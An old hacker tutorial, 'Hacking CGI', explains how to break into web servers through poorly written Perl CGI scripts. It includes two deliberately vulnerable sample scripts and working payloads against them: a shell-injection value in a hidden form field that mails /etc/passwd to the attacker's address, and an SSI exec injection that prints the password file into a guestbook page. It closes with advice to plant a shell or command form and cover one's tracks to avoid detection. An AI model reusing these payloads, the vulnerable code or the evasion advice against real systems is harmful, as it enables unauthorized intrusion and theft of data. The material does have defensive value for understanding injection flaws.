********************* by Chawmp
* - Hacking CGI - * homepage: http://home.cyberarmy.com/chawmp
* - Version 1.01c - * email: tom@holodeck.f9.co.uk
********************* ICQ: 2724168
Introduction
------------
CGI programs are a major source of security holes. On a typical site the server
and config files may be secure, but if CGI programs are not meticulously
checked before they are used then serious security flaws can often be
uncovered.
If at any time you are having difficulty, see the Notes section near the bottom
of this document.
CGI basics
==========
The letters "CGI" stand for "Common Gateway Interface". CGI is a way to add
flexibility to websites by providing a mechanism for programs to be executed on
the server (sometimes with input from the user on the client-side), and for
their output to be displayed back to the client (or just logged somewhere on
the server for later inspection). These programs can be written in any
language, but by far the most common is perl. Perl is ideal for handling
text-based input easily, so it's the language of choice for many CGI
developers. Usually the term "CGI script" actually refers to "perl script".
What makes a CGI program dangerous?
===================================
There are, for example, several places where CGI programs are made available
for free. If you downloaded a set of perl scripts from a site such as this you
would probably expect them to be bug-free and install them without a second
thought. There are also the problems of time and operator competence. Most
people don't have the time or the knowledge to go through a 5000-line bulletin
board script to find that single vulnerable statement. This isn't just limited
to free scripts though. Some very high-profile professional script-packages
have recently been found to be vulnerable to attack.
Preparation
===========
If you know what script a site is using and it's freely available, get it! By
examining the code and playing with it on your own system you'll be able to
find holes a lot more easily than by just guessing. And your failed attempts
won't be noticed by the server administrator.
Methods of attack
=================
Insecure shell calls
--------------------
This applies to CGI programs written in many languages, but most commonly perl.
If the program does not treat user input carefully there is a risk that a
malicious user may craft it to be processed by the program in a dangerous way.
Consider this example. The classic vulnerable "mail" script, for example a
feedback form. A website visitor is asked for comments that will be sent to the
webmaster's email address by a script running on the server.
-- vuln1.html - The submission form --
<html>
Thankyou for visiting my site. Please submit your comments and suggestions
here:
<br>
<form action="/cgi-bin/vuln1.pl" method="GET">
<input type="hidden" name="address" value="webmaster@vulnerable.com">
<textarea name="comments" rows=10 cols=40></textarea>
<br>
<input type="submit">
</form>
</html>
-- EOF --
-- vuln1.pl - The vulnerable perl script --
#!/usr/bin/perl
# Output will be an html page
print "Content-type: text/html\n\n";
# Get input from form into the @pairs array
@pairs = split(/&/, $ENV{'QUERY_STRING'});
# For each name/value pair in the array
foreach $pair (@pairs) {
# Split the pair into their own variables
($name, $value) = split(/=/, $pair);
# Convert the form-encoding back
$name =~ tr/+/ /;
$name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
# Store the destination email address and comments in variables
if ($name eq "address") { # Store the destination email address
$address = $value;
} elsif ($name eq "comments") { # Store the comments
$comments = $value;
}
}
# At this point $address holds the address specified on the form, and
# $comments holds the user's comments.
# --- "Active" part
# See discussion for details of this part
open(MAIL,"| /bin/mail $address");
print MAIL "$comments";
close(MAIL);
# --- End of "active" part
# Print output for the user
print <<EOT;
<html>
Thanks for your comments :)
</html>
EOT
-- EOF --
There are two files in the above example. The html file that takes the input
from the user, and the vulnerable perl script. If you don't know perl then you
don't need to try to understand how most of it works. Just know that the
destination email address (as specified by a hidden form element in the html
page) and the comments (from the textarea) are stored, and passed to the mail
program inside the "active" part.
In perl the open function is used to open a file, or more importantly here, a
pipe. In this case a pipe to the command "/bin/mail webmaster@vulnerable.com"
is opened and the comments are written to it, causing them to be emailed to the
webmaster.
Look at what's happening here. The "/bin/mail webmaster@vulnerable.com" command
is produced by starting /bin/mail with the address specified by the html page.
If a malicious user was to save a copy of the html locally, and modify it by
changing the lines
<form action="/cgi-bin/vuln1.pl" method="GET">
<input type="hidden" name="address" value="webmaster@vulnerable.com">
to these:
<form action="http://www.vulnerable.com/cgi-bin/vuln1.pl" method="GET">
<input type="hidden" name="address" value="hacker@root.com">
The action must now contain the complete URL since the html no longer resides
on the server, and the email address has been replaced with your own. Now the
comments will be sent to your email address.
Now, what would happen if you were to change the email address part to this?
value="hacker@root.com;mail hacker@root.com < /etc/passwd"
Inside the script this email address would translate to the command
"/bin/mail hacker@root.com;mail hacker@root.com < /etc/passwd"
causing the password file to be mailed to your address :)
(Note: I use /etc/passwd in examples throughout this document, but it is only
for example purposes. Nowadays this file has limited value to an intruder as
on modern systems the passwd file will not contain the actual password hashes).
If you find that the script filters the ; character, you can always try the
| character, or \n (a newline), as these both cause another command to be
executed in a line. Bear in mind that using | will cause the output of the
first command to be fed into the second (won't usually matter), and that to
send a newline character over the web you must encode it as %0a. So the address
part could now be
value="hacker@root.com%0amail hacker@root.com < /etc/passwd"
Insecure use of SSI
-------------------
SSI means "Server Side Includes". These are instructions that can be placed in
html files that are parsed by the server when the page is requested to give
on-the-fly information. These pages are normally given the extension .shtml (or
some shorter version), but this depends on the setup of the server. On some
servers, all html documents are parsed. All includes take the form
"<!--#"<tag><whitespace><parameters>[<whitespace>]"-->".
Here are some examples:
<!--#echo var="DATE_GMT" --> Prints the current date
<!--#include virtual="/ssi/header.html" --> Includes a common header section
<!--#exec cmd="uptime" --> Displays the system's uptime
There's a lot more you can do with SSI - take a look around on the net for
more.
If you could add your own SSI to a file that is parsed by the webserver, you
would be able to execute commands, include files, etc. Many CGI programs do not
take this into account. Here's an example:
-- vuln2.shtml - A public comments page --
<html>
<!--#include virtual="/ssi/header.html" -->
Thankyou for visiting my site. Please submit your comments and suggestions
here:
<br>
<form action="/cgi-bin/vuln2.pl" method="GET">
<textarea name="comments" rows=10 cols=40></textarea>
<br>
<input type="submit">
</form>
<hr>
Here's what other people have had to say:
<hr>
<!--begin-->
<!--#include virtual="/ssi/footer.html" -->
</html>
-- EOF --
-- vuln2.pl - The vulnerable perl script --
#!/usr/bin/perl
# Define the location of the page to be updated
# Change this to the location of vuln2.shtml if you're trying this out
$pagename = "/home/web/html/vuln2.shtml";
# Print content-type header
print "Content-type: text/html\n\n";
# Get input from form into the @pairs array
@pairs = split(/&/, $ENV{'QUERY_STRING'});
# For each name/value pair in the array
foreach $pair (@pairs) {
# Split the pair into their own variables
($name, $value) = split(/=/, $pair);
# Convert the form-encoding back
$name =~ tr/+/ /;
$name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
# Store the comments in a variable
if ($name eq "comments") { # Store the comments
$comments = $value;
}
}
# At this point $comments holds the user's comments.
# Separate each comment in the output file
$comments .= "\n<hr>\n";
# --- "Active" part
# Open the file for read/write
open(FILE,"+<$pagename") || (print("Cannot open file!\n") && exit);
# Lock the file to prevent other processes opening it
flock(FILE, 2);
# Read the file into the @list array
@list = <FILE>;
# Search through the array and insert the comments just before the
# <!--begin--> line
$linenum = 1;
foreach $line (@list) {
if ($line =~ /^<!--begin-->/) {
$linenum--;
splice(@list, $linenum, 0, $comments);
last;
}
$linenum++;
}
# Write the array back to the file
seek(FILE,0,0);
truncate(FILE,0);
foreach $line (@list) {
print FILE $line;
}
# Close the file
close(FILE);
# --- End "active" part
# Print output for the user
print <<EOT;
<html>
Thanks for your comments. Click <a href="/vuln2.shtml">here</a> to
return to the comments page :)
</html>
EOT
-- EOF --
These two files comprise a simple guestbook. You can see that the .shtml file
uses SSI to display a common header and footer (using the include directive).
When this file is sent to the browser the include directives will be replaced
by the contents of the appropriate files. Note that the <!--begin--> in the
.shtml file is merely marking where the next comment should be inserted. It
should not be confused with an SSI directive, as these all start <!--#.
Since this is such a simple script it doesn't do any input validation. If this
was a normal html page you would be able to insert html, including javascript,
into the page. Because it's SSI-enabled, try entering something like the
following in the comments box:
<!--#exec cmd="cat /etc/passwd" -->
Now, when you go back to the comments page you'll see the password file :)
(Note: The file will appear to be one long line - this is simply because html
doesn't insert line breaks at newlines. Use your browser's "view source"
function to get a more readable output).
This is ideal. However, some server admins disable the exec directive to
prevent this type of attack. In this case the best you can do is use the
include directive to include the contents of a file whose location you know,
such as a password database file that is not available via the web with your
current access rights, but still within the web root. Note that some files
(such as CGI scripts) will not have their source included by using an include
directive. From an intruder's point of view, the include directive has limited
value, and without exec there isn't always much you can do.
Buffer overflow
---------------
This applies to CGI programs written in languages such as C. If the program
does not validate its input properly a malicious user could overflow a buffer
in the program to execute arbitrary code on the server. Since buffer overflows
are beyond the scope of this article I won't go into any more detail, but
information on this kind of attack is available to anyone who searches for it.
A good article to read to get started with buffer overflows is "Smashing The
Stack For Fun And Profit" in Phrack 49. Look it up. :)
What to do once you're in
=========================
First of all, don't pull an rm -Rf / . If you take note of anything I say, it
should be that damaging sites is lame. Other than that, you have to make the
decision whether what you're about to do is reasonable or not. Remember, unless
you know what you're doing (which you probably don't since you're reading this)
and you try anything stupid you'll get caught. One thing you might want to do
is report the vulnerability. Mail the server admin and let them know - if
they're a reasonable person they'll fix the hole, and you'll make a new friend
:) If the hole is in a widely-distributed CGI program, report it to the
creators so that it can be fixed for future versions, and current users can be
warned.
Presumably you're trying to break into the site for a reason - to get access to
files, etc. Do what you want and come back out. And if you don't want to get
noticed, clean up after yourself. In the above example, instead of just causing
the password file (assuming it was your target file) in the page for everyone
to see, you could write a bit of perl code to spawn a shell on the server, or
provide a form interface in another file for easy access to further commands.
After setting up something like this, try to put the original file back the way
you found it, and chances are you won't get noticed for longer.
Notes
=====
In this document I use UNIX-style path and filenames. Most of the ideas I've
discussed here work exactly the same under NT and other platforms, it's just
that I wrote these examples on a Linux system.
When you execute commands on the system, you do so with the rights of the user/
group the webserver runs as, which is usually nobody/nobody. This is enough
access for complete control over the files the webserver uses though.
I use perl scripts here for example purposes. If you don't know perl you only
really need to pay attention to the sections marked '"active" part', as these
are the sections that contain the vulnerable code.
If you're testing these files out for yourself, make sure you set the
file/pathnames correctly, and remember to chmod your cgi scripts 755 so that
they are executable, and that you have specified the correct path to perl on
your system in the first line of each script. Also, in the SSI example, you
will need to chmod vuln2.shtml 777 since that file gets written to by the
script.
These scripts are just simple examples. Sometimes you have to do a little more
work than this to get around filters, etc, but often it is possible.
Experiment.
For more info email or ICQ me (details at the top), or drop by my website to
see if this file has been updated.
Further information
===================
There are a few articles out there. p41mit0 recommended this one:
http://www.phreedom.org/en/issues/Phm23%20-%20Jordan%20Dimov%20-%20Security%20
Issues%20in%20Perl%20Scripts.txt (That's one long URL by the way).
Greets
======
Everyone in the CyberArmy - there are too many to mention :)
http://www.cyberarmy.com/zebulun - Come try our officers' challenge
EOF